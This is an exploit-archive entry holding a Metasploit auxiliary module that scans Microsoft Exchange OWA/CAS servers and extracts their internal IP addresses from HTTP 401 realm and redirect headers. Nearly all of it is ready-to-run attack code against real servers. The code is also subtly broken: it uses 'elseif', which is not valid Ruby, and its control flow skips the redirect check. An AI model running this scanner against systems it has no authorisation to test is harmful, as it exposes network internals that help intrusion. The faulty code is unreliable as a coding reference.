Author

Nate Power

Risk

[

Security Risk Medium

]

0day-ID

0day-ID-22706

Category

remote exploits

Date add

29-09-2014

Platform

windows

# Exploit Title: Microsoft Exchange IIS HTTP Internal IP Disclosure Vulnerability
# Google Dork: NA
# Date: 08/01/2014
# Exploit Author: Nate Power
# Vendor Homepage: microsoft.com
# Software Link: NA
# Version: Exchange OWA 2003, Exchange CAS 2007/2010/2013
# Tested on: Exchange OWA 2003, Exchange CAS 2007/2010/2013
# CVE : NA
 
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Auxiliary
 
 include Msf::Exploit::Remote::HttpClient
 include Msf::Auxiliary::Scanner
 
 def initialize
    super(
      'Name'           => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure',
      'Description'    => %q{
        This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003, CAS 2007, 2010, 2013 servers.
      },
      'Author'         =>
        [
          'Nate Power'
        ],
      'DisclosureDate' => 'Aug 01 2014',
      'License'        => MSF_LICENSE,
      'DefaultOptions' => {
        'SSL' => true
      }
    )
 
   register_options(
       [
        OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]),
        OptInt.new('RPORT', [ true, "The target port", 443]),
       ], self.class)
  end
 
  def run_host(target_host)
   rhost = target_host
   print_status("#{msg} Checking HTTP headers")
   get_ip_extract
  end
 
  def get_ip_extract
    urls = ["/Microsoft-Server-ActiveSync/default.eas",
      "/Microsoft-Server-ActiveSync",
      "/Autodiscover/Autodiscover.xml",
      "/Autodiscover",
      "/Exchange",
      "/Rpc",
      "/EWS/Exchange.asmx",
      "/EWS/Services.wsdl",
      "/EWS",
      "/ecp",
      "/OAB",
      "/OWA",
      "/aspnet_client",
      "/PowerShell"]
 
    result = nil
 
    urls.each do |url|
      begin
        res = send_request_cgi({
          'version' => "1.0",
          'uri'      => "#{url}",
          'method'   => 'GET',
          'vhost'  =>  ''
        }, timeout = datastore['TIMEOUT'])
       
      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
        print_error("#{msg} HTTP Connection Failed")
        next
      end
 
      if not res
        print_error("#{msg} HTTP Connection Timeout")
        next
      end
 
      if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i))
        result = match.captures[0]
        print_status("#{msg} Status Code: 401 response")
        print_status("#{msg} Found Path: " + url )
        print_good("#{msg} Found target internal IP address: " + result)
        return result
       elseif
        print_warning("#{msg} No internal address found")
        next
      end
 
      if res and (res.code > 300 and res.code < 310) and (match = res['Location'].match(/^http[s]:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i))
        result = match.captures[0]
        print_status("#{msg} Status Code: #{res.code} response")
        print_status("#{msg} Found Path: " + url )
        print_good("#{msg} Found target internal IP address: " + result)
        return result
       elseif
        print_warning("#{msg} No internal address found")
        next
      end
    end
 
    if result.nil?
      print_warning("#{msg} Nothing found")
    end
 
    return result
  end
  def msg
    "#{rhost}:#{rport} -"
  end
end

#  0day.today [2024-11-15]  #